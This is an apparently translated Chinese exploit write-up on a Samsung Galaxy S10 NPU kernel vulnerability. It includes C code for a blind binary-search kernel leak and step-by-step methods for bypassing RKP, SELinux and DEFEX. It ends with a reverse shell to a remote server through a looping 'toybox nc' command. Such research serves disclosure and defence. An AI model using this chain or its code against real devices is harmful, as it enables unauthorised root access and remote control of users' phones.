关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。
(接上文)
初始内核内存泄漏
实际上,实现信息泄漏的途径有很多,这里采用的方法是:通过VS4L_VERTEXIOC_S_FORMAT ioctl接口来调用内核空间中的npu_session_format函数。
int npu_session_format(struct npu_queue *queue, struct vs4l_format_list *flist)
{
...
ncp_vaddr = (char *)session->ncp_mem_buf->vaddr;
ncp = (struct ncp_header *)ncp_vaddr;
address_vector_offset = ncp->address_vector_offset;
address_vector_cnt = ncp->address_vector_cnt;
memory_vector_offset = ncp->memory_vector_offset;
memory_vector_cnt = ncp->memory_vector_cnt;
mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);
av = (struct address_vector *)(ncp_vaddr + address_vector_offset);
formats = flist->formats;
if (flist->direction == VS4L_DIRECTION_IN) {
FM_av = session->IFM_info[0].addr_info;
FM_cnt = session->IFM_cnt;
}
...
for (i = 0; i < FM_cnt; i++) {
...
bpp = (formats + i)->pixel_format;
channels = (formats + i)->channels;
width = (formats + i)->width;
height = (formats + i)->height;
cal_size = (bpp / 8) * channels * width * height;
...
#ifndef SYSMMU_FAULT_TEST
if ((FM_av + i)->size > cal_size) {
npu_uinfo("in_size(%zu), cal_size(%u) invalid\n", session, (FM_av + i)->size, cal_size);
ret = NPU_ERR_DRIVER(NPU_ERR_SIZE_NOT_MATCH);
goto p_err;
}
#endif
}
...
由于(FM_av + i)->size指向某个超出范围的值,而cal_size由用户提供的数据决定,因此,我们可以推测出(FM_av + i)->size的值是多少。
有人会问:“推测出(FM_av + i)->size的值是多少?毕竟我们无法将这个值传入用户空间!”。
是的。但是即使我们不能直接把内核值放到用户空间中,但是,我们仍然可以根据ioctl的返回值通过二分查找来猜测它的值。就像SQL盲注一样,如果(FM_av + i)->size > cal_size不成立,ioctl接口就会向用户返回failure值。所以,我们可以通过这个方法得到内核的基地址和内核的栈地址。
unsigned long long _leak(u32 off){
int res;
struct vs4l_format format;
leak_retry:
fd_clear();
if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0){
goto leak_retry;
}
memset(&format, 0, sizeof(format));
format.stride = 0x0;
format.cstride = 0x0;
format.height = 1;
format.width = 1;
format.pixel_format = 8;
unsigned long long g = (0xffffffff) / 2;
unsigned long long h = 0xffffffff;
unsigned long long l = 1;
ncp_page->memory_vector_offset = 0x200;
ncp_page->memory_vector_cnt = 0x1;
ncp_page->address_vector_offset = off;
ncp_page->address_vector_cnt = 0x1;
if (npu_graph_ioctl() < 0){
close(npu_fd);
fd_clear();
npu_fd = -1;
goto leak_retry;
}
unsigned long long old = g;
format.channels = g;
res = npu_format_ioctl(&format);
while (1) {
if (!res) {
h = g - 1;
g = (h + l)/2;
} else {
l = g + 1;
g = (h + l) / 2;
close(npu_fd);
fd_clear();
if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0) {
perror("open(\"/dev/vertext10\") : ");
goto leak_retry;
}
ncp_page->memory_vector_offset = 0x200;
ncp_page->memory_vector_cnt = 0x1;
ncp_page->address_vector_offset = off;
ncp_page->address_vector_cnt = 0x1;
if (npu_graph_ioctl() < 0) {
close(npu_fd);
npu_fd = -1;
goto leak_retry;
}
}
if (old == g) {
break;
}
old = g;
memset(&format, 0, sizeof(format));
format.stride = 0x0;
format.cstride = 0x0;
format.height = 1;
format.width = 1;
format.pixel_format = 8;
format.channels = g;
res = npu_format_test(&format);
}
close(npu_fd);
npu_fd = -1;
return g > 0 ? g+1 : 0;
}
利用越界读写原语
与P0的方法不同的是,我们在越界读/写方面没有任何限制,所以,我们的任意地址读/写和内核函数调用都是基于纯ROP的。
与P0的pselect()函数类似,read()/write()系统调用也会被阻塞,直到目标文件描述符准备好为止,所以,这些函数的参数会被溢出到堆栈。我们可以识别目标函数的栈帧,例如借助于签名值0x41414141。利用管道文件描述符的读写阻塞机制,我们可以与子进程交互使用函数copy_to_user_fromio()/copy_from_user_toio()。
获得Root权限?
正如我们在本文开头提到的,由于RKP的原因,单纯的覆盖cred结构在Samsung Galaxy设备中是行不通的。因此,要想获得root权限,就必须放弃原来linux内核或Google Nexus/Pixel内核中使用的旧方法。
- 不能覆盖cred结构体。
- 不能伪造cred相关的结构体。
现在,我们需要的是首先获得root权限的代码执行原语来绕过UID检查,以进一步利用漏洞。实际上,以前的漏洞利用方法大多集中在伪造当前进程的凭证上,大家都沉迷于这种方法,而没有去探索新的方法。
虽然这么多资源都受到Samsung安全机制的保护,但task的内核栈却是可写的。所以,通过遍历init进程的task_struct,我们可以找到所有task的内核栈!
我们可以通过task_struct结构体中的void *stack成员获取task的栈地址。通过AAW原语修改目标task的内核栈,我们就可以以其他task的权限来执行ROP。但是,在对目标task执行ROP之前,我们首先需要绕过SELinux。
绕过SELinux
由于SELinux是目前所有Android系统的默认配置,所以,即使攻击者获得了root权限,他们能做的事情也取决于SELinux策略。在谷歌的Android设备中,如果攻击者成功获得AAR/AAW原语,只需将selinux_enforcing覆盖为0,就可以轻松绕过SELinux。但是,Samsung的SELinux改进了以下功能。
- selinux_enforcing现在位于kdp_ro节。
- 禁止重载SELinux策略。
- 允许域被完全删除。
Samsung Galaxy S7
在KeenLab的Blackhat 2017 WP中,他们是通过重载SELinux策略绕过了Samsung Galaxy S7上的SELinux。同时,由于ss_initialized变量不受RKP保护,他们可以将ss_initialized覆盖为0,这意味着SELinux还没有初始化。覆盖后,他们使用libsepol API重载了SELinux策略。
static struct sidtab sidtab;
struct policydb policydb;
#if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP)
int ss_initialized __kdp_ro;
#else
int ss_initialized;
#endif
但是,在最新的Samsung Galaxy内核源代码中,ss_initialized已受到RKP的保护,因此,我们已经无法再使用上述方法了。
Samsung Galaxy S8
在iceswordlab关于获取Samsung Galaxy s8的root权限的文章中,他们覆盖了security_hook_heads,因为这个变量也不受RKP的保护,这意味着它是允许读/写的变量。但正如前面的代码所示,security_hook_heads现在处于只读的保护状态。
// security/security.c
struct security_hook_heads security_hook_heads __lsm_ro_after_init;
让SELinux策略重新加载成为可能
虽然ss_initialized变量在RKP中,但是我们仍然可以通过在内核空间中滥用SELinux策略相关的API来绕过SELinux。首先,我们需要考察一下security_load_policy函数。
// security/selinux/ss/services.c
int security_load_policy(void *data, size_t len)
{
struct policydb *oldpolicydb, *newpolicydb;
struct sidtab oldsidtab, newsidtab;
struct selinux_mapping *oldmap, *map = NULL;
struct convert_context_args args;
u32 seqno;
u16 map_size;
int rc = 0;
struct policy_file file = { data, len }, *fp = &file;
oldpolicydb = kzalloc(2 * sizeof(*oldpolicydb), GFP_KERNEL);
if (!oldpolicydb) {
rc = -ENOMEM;
goto out;
}
newpolicydb = oldpolicydb + 1;
if (!ss_initialized) {
avtab_cache_init();
ebitmap_cache_init();
rc = policydb_read(&policydb, fp);
if (rc) {
avtab_cache_destroy();
ebitmap_cache_destroy();
goto out;
}
...
#if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP)
uh_call(UH_APP_RKP, RKP_KDP_X60, (u64)&ss_initialized, 1, 0, 0);
...
如果SELinux未初始化,则可以通过kmem_cache_zalloc来初始化avtab_cache和ebitmap_cache。其中,avtab是access vector table的缩写,用于表示类型执行表,而ebitmap是extensible bitmap的缩写,它表示值集,例如类型,角色,类别和类。
因此,就像ss_initialized变量为0的情况一样,如果我们首先调用avtab_cache_init和ebitmap_cache_init,因为avtab_node_cachep,avtab_xperms_cachep和ebitmap_node_cachep不受RKP保护,这些变量将被重新初始化。
接下来,将我们的自定义SELinux策略数据复制到内核空间。然后,使用我们的自定义策略数据调用security_load_policy。清除avc_cache后,我们的策略数据将重新加载所有SELinux策略。
战胜DEFEX
即使我们通过利用内核绕过SELinux并成功获得了root权限,但是受制于Oreo(Android 8)之后引入的DEFEX防御机制,进程的访问权限仍然会面临诸多限制。
这个新的保护措施基于defex_static_rules,可以防止任何进程以root身份运行。
// security/samsung/defex_lsm/defex_rules.c
const struct static_rule defex_static_rules[] = {
{feature_ped_path,"/"},
{feature_safeplace_status,"1"},
{feature_immutable_status,"1"},
{feature_ped_status,"1"},
#ifndef DEFEX_USE_PACKED_RULES
{feature_ped_exception,"/system/bin/run-as"}, /* DEFAULT */
{feature_safeplace_path,"/init"},
{feature_safeplace_path,"/system/bin/init"},
{feature_safeplace_path,"/system/bin/app_process32"},
{feature_safeplace_path,"/system/bin/app_process64"},
...
在task_defex_enforce()函数内部,会调用task_defex_check_creds()来检查目标进程是否正常。如下面的代码所示,它会进行三项检查,以决定是否放行。
- 当前进程是否具有root权限 (uid == 0 || gid == 0)
- 父进程是否为非root权限的进程。
- 当前进程是否为受DEFEX保护的进程。
// security/defex_lsm/defex_procs.c
#ifndef CONFIG_SECURITY_DSMS
static int task_defex_check_creds(struct task_struct *p)
#else
static int task_defex_check_creds(struct task_struct *p, int syscall)
#endif /* CONFIG_SECURITY_DSMS */
{
...
if (CHECK_ROOT_CREDS(p) && !CHECK_ROOT_CREDS(p->real_parent) &&
task_defex_is_secured(p)) {
set_task_creds(p->pid, dead_uid, dead_uid, dead_uid);
if (p->tgid != p->pid)
set_task_creds(p->tgid, dead_uid, dead_uid, dead_uid);
case_num = 4;
goto show_violation;
}
...
因此,如果以上3个条件都成立,DEFEX机制将返回-DEFEX_DENY,并提供相应的错误日志。而task_defex_enforce()函数则是在底层的操作中被调用的,所以即使不受信任的应用程序通过利用内核漏洞获得了root权限,那么它的底层操作如open/read/write/execve也都会受到限制。
// security/samsung/defex_lsm/defex_procs.c
int task_defex_enforce(struct task_struct *p, struct file *f, int syscall)
{
int ret = DEFEX_ALLOW;
int feature_flag;
const struct local_syscall_struct *item;
struct defex_context dc;
...
#ifdef DEFEX_SAFEPLACE_ENABLE
/* Safeplace feature */
if (feature_flag & FEATURE_SAFEPLACE) {
if (syscall == __DEFEX_execve) {
ret = task_defex_safeplace(&dc);
if (ret == -DEFEX_DENY) {
if (!(feature_flag & FEATURE_SAFEPLACE_SOFT)) {
kill_process(p);
goto do_deny;
}
}
}
}
#endif /* DEFEX_SAFEPLACE_ENABLE */
...
fs/exec.c:
1983 #ifdef CONFIG_SECURITY_DEFEX
1984: retval = task_defex_enforce(current, file, -__NR_execve);
1985 if (retval < 0) {
fs/open.c:
1083 #ifdef CONFIG_SECURITY_DEFEX
1084: if (!IS_ERR(f) && task_defex_enforce(current, f, -__NR_openat)) {
1085 fput(f);
fs/read_write.c:
568 #ifdef CONFIG_SECURITY_DEFEX
569: if (task_defex_enforce(current, file, -__NR_write))
570 return -EPERM;
如下面的代码所示,函数call_usermodehelper还会使用do_execve,不过,通过这种方式来获取特权方法的旧路已经被DEFEX堵上了。
static int call_usermodehelper_exec_async(void *data)
{
...
new = prepare_kernel_cred(current);
...
commit_creds(new);
...
retval = do_execve(getname_kernel(sub_info->path),
(const char __user *const __user *)sub_info->argv,
(const char __user *const __user *)sub_info->envp);
...
除了do_execve中的DEFEX检查之外,在调用call_usermodehelper_exec_async之前,call_usermodehelper_exec还会进行另一项DEFEX检查,具体如下面的代码所示。
int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
DECLARE_COMPLETION_ONSTACK(done);
int retval = 0;
...
#if defined(CONFIG_SECURITY_DEFEX) && ANDROID_VERSION >= 100000 /* Over Q in case of Exynos */
if (task_defex_user_exec(sub_info->path)) {
goto out;
}
#endif
...
queue_work(system_unbound_wq, &sub_info->work);
...
以上task_defex_user_exec是Samsung Galaxy在2020年9月的固件更新中新增的内核函数。
绕过DEFEX防御机制
正如我们在上面的部分所看到的,由于受到DEFEX机制的影响,仅仅调用call_usermodehelper是不起作用的,但是,ueventd却是以root权限运行的进程,而且其父进程是init进程,并且,它还不受DEFEX的保护。
就像我们绕过SELinux限制一样,为了绕过DEFEX防御机制,只需在ueventd进程中单独调用call_usermodehelper的子例程即可。
- 通过任意的内核写原语在内核内存中设置call_usermodehelper_setup的参数。
- 通过任意的内核函数调用原语,用我们的参数调用call_usermodehelper_setup。
- 读取并复制system_unbound_wq和sub_info数据。
- 用复制的system_unbound_wq和sub_info调用queue_work。
- 由于do_execve中存在DEFEX检查,所以,我们需要使用/system/bin/sh -c “while [ 1 ] ; do /system/bin/toybox nc …”这样的shellscript,因为/system/bin/sh具有feature_safeplace_path属性。
这样,我们就可以通过具有内核权限的远程服务器获取反向shell。
DEMO(https://twitter.com/vngkv123/status/1328223035137036290?s=20)
小结
目前,Android和iOS都在努力防止攻击者利用其资源。但是,完全消除所有的漏洞几乎是不可能的,所以,他们的防御重点转向通过引入类似CFI的机制来加强各种防护措施。虽然这些缓解措施显著降低了漏洞利用的成功率,但攻击者总能找到绕过它们的相应方法。